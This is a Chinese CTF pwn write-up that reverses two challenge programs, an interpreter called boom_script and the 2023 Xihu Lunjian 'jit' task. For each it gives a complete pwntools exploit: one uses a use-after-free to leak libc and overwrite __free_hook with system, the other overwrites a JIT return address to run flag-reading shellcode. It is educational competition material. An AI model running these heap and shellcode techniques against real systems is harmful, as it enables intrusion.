JIT类型初探
这种题目也碰过好几次了,但因为自己太懒加静不下心去分析这种类型(其实是因为太菜,分析不了这么多代码)。加上最近一直感觉自己没有什么提升,感觉一直做简单题没意思(这或许就是难题不会做,简单题不想做的状态了),所以就横下心想一定要把这个题好好分析完。
这个程序实现了一个解释器,主函数逻辑如下:
我们可使用的函数如下:
一开始看到这我以为可以直接使用execve函数,然后发现execve的作用如下,并没有什么执行”/bin/sh”的功能
我们先来分析=
的功能,在编译的时候,如果值为字符串,那么就会申请字符串长度+8大小的chunk
执行时,会判断用什么给谁赋值,我们可以发现当为字符串时,会先检查这个变量有没有被字符串赋过值,如果有则释放掉之前的字符串空间,再用新的字符换的指针替代(先申请在释放)。当用变量给变量赋值时,会将指针复制给新的变量,造成uaf漏洞。
prints比较简单,他会调用puts函数输出,因此可以用来泄露libc_base
我们接着分析array的功能,这里我们可以看见将会申请0x38*v5+1
大小的chunk并放在*((_QWORD *)v12+6)
的地方。
数组赋值时会进入到下面的部分,将会把值写到*(_QWORD *)(*((_QWORD *)v13+6)+0x38*v7)+0x28)
相当于数组的每个元素是一个堆,v1就是数组的元素,值就会被写入v1+0x28的地方。
inputn也挺简单就是将输入的值变成数字放到对应的变量种。
分析完这些函数的功能,我们的思路就是先将申请一个0x4b0大小的chunk(a),在将它赋值给另一个变量(b),在free掉这个a,就可以泄露出libc_base。申请arr[20]数组,现在这个数组相当于a,在释放掉b,申请0x50(真实大小)大小的chunk,使堆指针到达arr[i]+0x28的位置,就能控制fd指针了。将fd指针写为free_hook-0x28,在申请一个arr[1](大小为0x50,调试出来的结果,原本以为是0x40),就可以将free_hook写为system。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * #io=process('./boom_script') io=remote('47.104.143.202' ,41299) context.log_level='debug' elf=ELF('./boom_script') libc=elf.libc io.sendlineafter('1. run\n2. help\n$','1') payload=""" a = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"; b = a; a = "22222"; prints(b); c = 0; array arr[20]; arr[0]=10; arr[1]=11; b = "/bin/sh"; chunk1 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaacccccccccccccccc"; chunk2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcccccccccccccccc"; chunk3 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; chunk5 = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; chunk4 = "ccccccccccccccccccccccccccccccccccccccccccccccccssssssssssssssss"; chunk1 = "aaaaaaaa"; chunk4 = "aaaaaaaa"; prints("f1agaa"); inputn(c); arr[3] = c; chunk5 = "ccccccccccccccccccccccccccccccccccccccccccccccccssssssssssssssss"; array chunk[1]; prints("f1agaa"); inputn(c); chunk[0] = c; b="aaaa"; inputn(c); """ io.sendlineafter('length:\n',str(len(payload)+1)) io.sendlineafter('code:\n',payload) #gdb.attach(io) malloc_hook=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-96-16 libc_base=malloc_hook-libc.symbols['__malloc_hook'] print('libc_base',hex(libc_base)) free_hook=libc_base+libc.symbols['__free_hook'] print(hex(free_hook-0x28)) system=libc_base+libc.symbols['system']
io.sendlineafter('f1agaa\n',str(free_hook-0x28)) #gdb.attach(io) sleep(0.2) io.sendlineafter('f1agaa\n',str(system)) io.interactive()
|
2023西湖论剑jit
题目难度主要在逆向分析,比赛没做出来,后来花了一天时间跟着wp复现才弄出来。
申请一块0x2000大小的内存存放可执行代码
JITHelper::write()就是将代码写入该区域
框中是汇编代码的二进制,汇编代码为lea rbp,[rsp-8];call 0xb;hlt
因为call 0xb为call到下一条代码地址+0xb的位置,且call=pop rip;jmp rip,所以rbp指向rip即ret_addr
creatFunc()需要四个输入:|0xff|idx|args|locals|
且会自动向可执行段写入sub rsp,8*locals
JITHelper::bwrite()为向可执行段写入4B数据
接着为核心函数
漏洞函数:当v2=0xa0时,该函数返回0,即指向ret_addr,即可以利用xor,and等绕过地址随机化,直接修改ret_addr,将其改为shellcode的地址,即可。
直接贴别人的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| from pwn import * io=process('./jit') context.log_level='debug' #io.sendline('\xff\x01\x08\x10\x06\x82') context.arch = 'amd64' payload = b'' def create_func(id,arg_cnt,local_cnt): global payload hdr = b'\xff' + p8(id) + p8(arg_cnt) + p8(local_cnt) payload += hdr def mov_var_imm(vidx,imm): global payload payload += p8(1) payload += p8(vidx | 0x80) payload += p64(imm) def callf(fid,retvar,arg_cnt,args=None): global payload payload += p8(6) payload += p8(fid) payload += p8(retvar) payload += p8(arg_cnt) if arg_cnt != 0: for i in range(arg_cnt): payload += p8(args[i]) def mov(idx1,idx2): global payload payload += p8(2) payload += p8(idx1) payload += p8(idx2) def xor(idx1,idx2): global payload payload += p8(5) payload += p8(idx1) payload += p8(idx2) def retv(var_idx): global payload payload += p8(0) payload += p8(var_idx) sc = ''' mov eax, 0x01010101 xor eax, 0x6c662f2e ^ 0x01010101 mov ebx, 0x0101 xor ebx, 0x6761 ^ 0x0101 shl rbx,32 or rax,rbx push rax push SYS_open pop rax mov rdi, rsp xor esi, esi syscall mov r10d, 0x7fffffff mov rsi, rax push SYS_sendfile pop rax push 1 pop rdi cdq syscall ''' ret_off = 0x80 | 0x20 #^0x80=0x20 create_func(0,0,0x20) mov(0x81,ret_off)#copy the adress of retaddr to rbp-8 mov_var_imm(0x82,0x62) xor(0x81,0x82)#xor 0x68 mov(ret_off,0x81)#copy the adress of rbp-8 to retaddr retv(0x81) create_func(1,0,1) def make_qword(sc): payload = asm(sc).ljust(6,b'\x90') + b'\xeb\x09' return u64(payload) for i in sc.splitlines(): mov_var_imm(1,make_qword(i)) retv(0x81)
gdb.attach(io) io.send(payload) pause() io.interactive()
|
总结
遇到这种题应该多注意uaf、doublefree、off-by-null、栈溢出、堆溢出这几种简单的漏洞,多注意free、malloc函数以及read函数。